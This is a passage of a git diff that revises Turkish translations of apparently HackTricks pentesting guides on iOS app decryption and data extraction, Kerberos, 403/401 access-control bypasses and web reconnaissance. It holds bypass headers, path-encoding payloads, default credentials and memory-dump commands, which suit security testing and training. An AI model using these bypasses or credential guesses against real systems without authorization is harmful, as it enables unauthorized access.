iTunes yardımcı olur. Ayrıntılı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir. +Catalina'dan önceki macOS sürümlerinde, UDID'nin keşfi için iTunes kullanılmaktadır. Ayrıntılı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir. Komut satırı araçları, UDID'yi almak için alternatif yöntemler sunar: @@ -31,9 +31,9 @@ $ instruments -s devices ``` ### **Cihaza Erişim Sağlama** -**SSH erişimi**, jailbreak sonrası **OpenSSH paketi** yüklenerek etkinleştirilir ve `ssh root@` üzerinden bağlantılara izin verir. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifrelerin (`alpine`) değiştirilmesi kritik öneme sahiptir. +**SSH erişimi**, jailbreak sonrası **OpenSSH paketi** yüklenerek etkinleştirilir ve `ssh root@` üzerinden bağlantılara izin verir. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifrelerin (`alpine`) değiştirilmesi önemlidir. -**USB üzerinden SSH**, Wi-Fi yokluğunda gereklidir ve SSH bağlantıları için cihaz portlarını eşlemek amacıyla `iproxy` kullanılır. Bu yapılandırma, USB üzerinden SSH erişimi sağlamak için şu komutun çalıştırılmasını gerektirir: +**USB üzerinden SSH**, Wi-Fi yokluğunda gerekli hale gelir ve SSH bağlantıları için cihaz portlarını eşlemek üzere `iproxy` kullanılır. Bu kurulum, USB üzerinden SSH erişimi sağlamak için şu komutun çalıştırılmasını gerektirir: ```bash $ iproxy 2222 22 $ ssh -p 2222 root@localhost @@ -48,7 +48,7 @@ Unutulan bir şifreyi varsayılan (`alpine`) olarak sıfırlamak için, `/privat ### **Uygulama Veri Dosyalarını Aktarma** -**SSH ve SCP ile Arşivleme ve Geri Alma:** Uygulamanın Veri dizinini `tar` kullanarak arşivlemek ve ardından `scp` ile aktarmak oldukça basittir. Aşağıdaki komut, Veri dizinini bir .tgz dosyasına arşivler ve ardından cihazdan çekilir: +**SSH ve SCP ile Arşivleme ve Geri Alma:** Uygulamanın Data dizinini `tar` kullanarak arşivlemek ve ardından `scp` ile aktarmak oldukça basittir. Aşağıdaki komut, Data dizinini bir .tgz dosyasına arşivler ve ardından cihazdan çekilir: ```bash tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693 exit @@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so ### **Şifre Çözme Süreci** -**Manuel Şifre Çözme Genel Bakış:** iOS uygulama ikili dosyaları Apple tarafından FairPlay kullanılarak şifrelenmiştir. Ters mühendislik yapmak için, şifrelenmemiş ikili dosyayı bellekten dökme işlemi yapılmalıdır. Şifre çözme süreci, PIE bayrağını kontrol etmeyi, bellek bayraklarını ayarlamayı, şifrelenmiş bölümü tanımlamayı ve ardından bu bölümü şifrelenmemiş haliyle değiştirmeyi içerir. +**Manuel Şifre Çözme Genel Bakış:** iOS uygulama ikili dosyaları Apple tarafından FairPlay kullanılarak şifrelenmiştir. Tersine mühendislik yapmak için, şifrelenmemiş ikili dosyayı bellekten dökme işlemi yapılmalıdır. Şifre çözme süreci, PIE bayrağını kontrol etmeyi, bellek bayraklarını ayarlamayı, şifrelenmiş bölümü tanımlamayı ve ardından bu bölümü şifrelenmemiş haliyle değiştirmeyi içerir. **PIE Bayrağını Kontrol Etme ve Değiştirme:** ```bash @@ -92,7 +92,7 @@ otool -Vh Hello_World ``` **Şifreli Bölümü Belirleme ve Belleği Dökme:** -`otool` kullanarak şifreli bölümün başlangıç ve bitiş adreslerini belirleyin ve jailbreak yapılmış cihazdan belleği gdb kullanarak dökün. +Şifreli bölümün başlangıç ve bitiş adreslerini `otool` kullanarak belirleyin ve jailbreak yapılmış cihazdan belleği gdb kullanarak dökün. ```bash otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO dump memory dump.bin 0x8000 0x10a4000 @@ -103,13 +103,13 @@ Orijinal uygulama ikili dosyasındaki şifreli bölümü, deşifre edilmiş dök ```bash dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App ``` -**Şifre Çözümlemenin Tamamlanması:** Şifrelemenin yokluğunu belirtmek için ikili dosyanın meta verilerini **MachOView** gibi araçlarla değiştirin, `cryptid` değerini 0 olarak ayarlayın. +**Şifre Çözümlemenin Tamamlanması:** Şifrelemenin yokluğunu belirtmek için ikili dosyanın meta verilerini **MachOView** gibi araçlar kullanarak değiştirin, `cryptid` değerini 0 olarak ayarlayın. ### **Şifre Çözme (Otomatik Olarak)** #### **frida-ios-dump** -[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından **otomatik olarak uygulamaları şifre çözmek ve çıkarmak** için kullanılır. Öncelikle, `dump.py` dosyasını iOS cihazına bağlanacak şekilde yapılandırmak gerekir; bu, **iproxy** aracılığıyla localhost üzerinden 2222 portu ile veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir. +[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından **otomatik olarak uygulamaları şifre çözmek ve çıkarmak** için kullanılır. Öncelikle, `dump.py` dosyasını iOS cihazına bağlanacak şekilde yapılandırmak gerekir; bu, **iproxy** aracılığıyla localhost üzerinden 2222 portu veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir. Cihazda yüklü olan uygulamalar şu komutla listelenebilir: ```bash @@ -146,25 +146,25 @@ bagbak --raw Chrome #### **Sideloading Araçları** -- **Cydia Impactor**: iOS için IPA dosyalarını ve Android için APK dosyalarını imzalamak ve yüklemek için bir araçtır. Kılavuzlar ve sorun giderme bilgileri [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresinde bulunabilir. +- **Cydia Impactor**: iOS'ta IPA dosyalarını ve Android'de APK dosyalarını imzalamak ve yüklemek için bir araçtır. Kılavuzlar ve sorun giderme bilgileri [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresinde bulunabilir. - **libimobiledevice**: iOS cihazlarıyla iletişim kurmak için Linux ve macOS için bir kütüphanedir. USB üzerinden uygulama yüklemek için ideviceinstaller için kurulum komutları ve kullanım örnekleri sağlanmıştır. - **ipainstaller**: Bu komut satırı aracı, iOS cihazlarında doğrudan uygulama yüklemeye olanak tanır. -- **ios-deploy**: macOS kullanıcıları için, ios-deploy komut satırından iOS uygulamalarını yükler. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak sürecin bir parçasıdır. +- **ios-deploy**: macOS kullanıcıları için ios-deploy, komut satırından iOS uygulamalarını yükler. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak sürecin bir parçasıdır. - **Xcode**: Uygulamaları yüklemek için Xcode'u kullanarak **Window/Devices and Simulators** bölümüne gidin ve uygulamayı **Installed Apps** kısmına ekleyin. #### **iPad Dışı Cihazlarda Uygulama Yüklemeye İzin Ver** -iPhone veya iPod touch cihazlarında iPad'e özel uygulamaları yüklemek için, **Info.plist** dosyasındaki **UIDeviceFamily** değeri **1** olarak değiştirilmelidir. Ancak bu değişiklik, imza doğrulama kontrolleri nedeniyle IPA dosyasının yeniden imzalanmasını gerektirir. +iPhone veya iPod touch cihazlarında iPad'e özel uygulamaları yüklemek için **Info.plist** dosyasındaki **UIDeviceFamily** değeri **1** olarak değiştirilmelidir. Ancak bu değişiklik, imza doğrulama kontrolleri nedeniyle IPA dosyasının yeniden imzalanmasını gerektirir. **Not**: Bu yöntem, uygulama daha yeni iPad modellerine özgü yetenekler talep ediyorsa, eski bir iPhone veya iPod touch kullanırken başarısız olabilir. ## Referanslar -- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/) +- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/) - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/) diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index 110d7eff3..989cd5010 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -6,16 +6,16 @@ **Kerberos**, kullanıcıları kaynaklara doğrudan erişimlerini yönetmeden kimlik doğrulaması yapma prensibi üzerine çalışır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır. -**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamak için güvenli bir yol sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır. +**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamanın güvenli bir yolunu sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır. -**Kerberos** tarafından kimlik doğrulandıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar. +**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimine daha esnek ve güvenli bir yaklaşım sağlar. **Varsayılan Port:** 88/tcp/udp ``` PORT STATE SERVICE 88/tcp open kerberos-sec ``` -### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** hakkında yazıyı okumalısınız.** +### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** hakkında yazıyı okumalısınız.** ## Daha Fazla @@ -25,7 +25,7 @@ PORT STATE SERVICE ### MS14-068 -MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır, örneğin bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar. +MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır; örneğin, bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve bu da Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar. {{#ref}} https://adsecurity.org/?p=541 diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index d01289449..d8063456b 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -4,17 +4,17 @@ ## HTTP Fiilleri/Yöntemleri Fuzzing -Farklı **fiiller** kullanarak dosyaya erişmeyi deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` +Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` - Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız. - `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir. -- **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir. +- **`TRACE`** fiilini kullanın ve eğer çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir. ## HTTP Başlıkları Fuzzing - **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - Kaynağa erişmek için [**diğer Kullanıcı Ajanlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin. -- **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri deneyin. Bütün bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum. +- **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bütün bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum. - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -35,7 +35,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıklarını**](../../pentesting-web/abusing-hop-by-hop-headers.md)** kötüye kullanmayı deneyin.** +- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/index.html) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)**'nı kötüye kullanmayı deneyin.** - Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzing yapın. - **HTTP Yöntemlerini** fuzzing yaparken **özel HTTP başlıklarını** fuzzing yapın. - **Host başlığını kaldırın** ve belki de korumayı aşabileceksiniz. @@ -44,7 +44,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a Eğer _/path_ engellenmişse: -- _**/**_**%2e/path _kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlaması) deneyin. +- _**/**_**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlaması) deneyin. - **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız. - **Diğer yol bypass'ları**: - site.com/secret –> HTTP 403 Yasak @@ -87,13 +87,13 @@ HTTP/1.1 kullanıyorsanız **1.0 kullanmayı deneyin** veya **2.0'ı destekleyip ## **Diğer Bypass'lar** - Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı** deneyin. -- Sunucuyu **stres altına almak için** yaygın GET istekleri gönderin ([Bu adam için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). -- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye. +- **Sunucuya baskı yapmayı** deneyin, yaygın GET istekleri gönderin ([Bu adam için işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). +- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye geçin. - [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir olup olmadığını** kontrol edin. ## **Brute Force** -- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adı? +- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Yoksa CTF meydan okuma adını mı biliyorsunuz? - [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin. ```:Common creds admin admin diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index a73946ef7..558650edf 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -25,38 +25,38 @@ web-api-pentesting.md ## Metodoloji özeti -> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece bunu. Bu nedenle, bu metodolojiyi keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için uygulamalısınız. +> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece buna odaklanıyoruz. Bu nedenle, keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için bu metodolojiyi uygulamalısınız. - [ ] **Web sunucusu** tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın. - [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı? - [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı? - [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)? -- [ ] **Genel amaçlı tarayıcılar** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz. +- [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz. - [ ] **Başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise). - [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin. - [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._ - [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın. - [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._ - [ ] **Yedek kontrolü**: Keşfedilen **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek. -- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** **bulmaya** çalışın. +- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın. - [ ] Tüm olası **kullanıcı girişi** kabul eden **endpoint'leri** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin. - [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md) ## Sunucu Sürümü (Zafiyetli mi?) -### Belirle +### Belirleme Çalışan sunucu **sürümü** için **bilinen zafiyetler** olup olmadığını kontrol edin.\ -**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da yararlı olabilir:** +**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Arama **için** [**web uygulamasının** **sürüm** **açıklarını**](../../generic-hacking/search-exploits.md) +Search **for** [**web uygulamasının** **sürümündeki** **zafiyetleri**](../../generic-hacking/search-exploits.md) -### **Herhangi bir WAF olup olmadığını kontrol et** +### **Herhangi bir WAF'yi kontrol et** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) @@ -64,14 +64,14 @@ Arama **için** [**web uygulamasının** **sürüm** **açıklarını**](../../g ### Web teknoloji hileleri -Farklı iyi bilinen **teknolojilerdeki** **açıkları** bulmak için bazı **hileler**: +Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hileler**: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) - [**Artifactory**](artifactory-hacking-guide.md) -- [**Buckets**](buckets/) +- [**Buckets**](buckets/index.html) - [**CGI**](cgi.md) -- [**Drupal**](drupal/) +- [**Drupal**](drupal/index.html) - [**Flask**](flask.md) - [**Git**](git.md) - [**Golang**](golang.md) @@ -86,31 +86,31 @@ Farklı iyi bilinen **teknolojilerdeki** **açıkları** bulmak için bazı **hi - [**Laravel**](laravel.md) - [**Moodle**](moodle.md) - [**Nginx**](nginx.md) -- [**PHP (php'nin sömürülebilecek birçok ilginç hilesi var)**](php-tricks-esp/) +- [**PHP (php'nin sömürülebilecek birçok ilginç hilesi var)**](php-tricks-esp/index.html) - [**Python**](python.md) - [**Spring Actuators**](spring-actuators.md) - [**Symphony**](symphony.md) -- [**Tomcat**](tomcat/) +- [**Tomcat**](tomcat/index.html) - [**VMWare**](vmware-esx-vcenter....md) - [**Web API Pentesting**](web-api-pentesting.md) - [**WebDav**](put-method-webdav.md) - [**Werkzeug**](werkzeug.md) - [**Wordpress**](wordpress.md) -- [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/) +- [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/index.html) -_Aynı **alan adı** altında **farklı teknolojilerin** farklı **portlar**, **klasörler** ve **alt alan adları** kullanabileceğini dikkate al._\ -Web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **internette** yeni hileler **aramayı** unutmayın (ve bana bildirin!). +_Dikkate alın ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** üzerinde **farklı teknolojiler** kullanıyor olabilir._\ +Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **internette** yeni hileler **aramayı** unutmayın (ve bana bildirin!). ### Kaynak Kodu İncelemesi Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı** olabilecek **bazı bilgiler**: -- **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren bir şey var mı? +- **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı? - **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı? -- **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hashleme algoritması** kullanılıyor? +- **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor? - Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor? -- Herhangi bir **açığı** sömürürek bu dosyalara **erişebilir misiniz**? -- **Github'da** (çözülen ve çözülmeyen) **sorunlarda** herhangi bir **ilginç bilgi** var mı? Yoksa **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** girişi) mi? +- Herhangi bir zafiyeti sömürerek **bu dosyalara erişebilir misiniz**? +- **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**)? {{#ref}} code-review-tools.md @@ -134,18 +134,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi Eğer bir CMS kullanılıyorsa **bir tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şey bulunur: -[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\ -[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **veya** [**(M)oodle**](moodle.md)\ -[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) +[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\ +[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\ +[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz. +> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz. ## Adım adım Web Uygulaması Keşfi @@ -164,26 +164,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Hataları zorlamak** -Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir. +Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklıkları** veya **hassas bilgilerin ifşasını** açabilir. -- /whatever_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.) -- **Hata oluşturmak için** **cookie değerlerine** ve 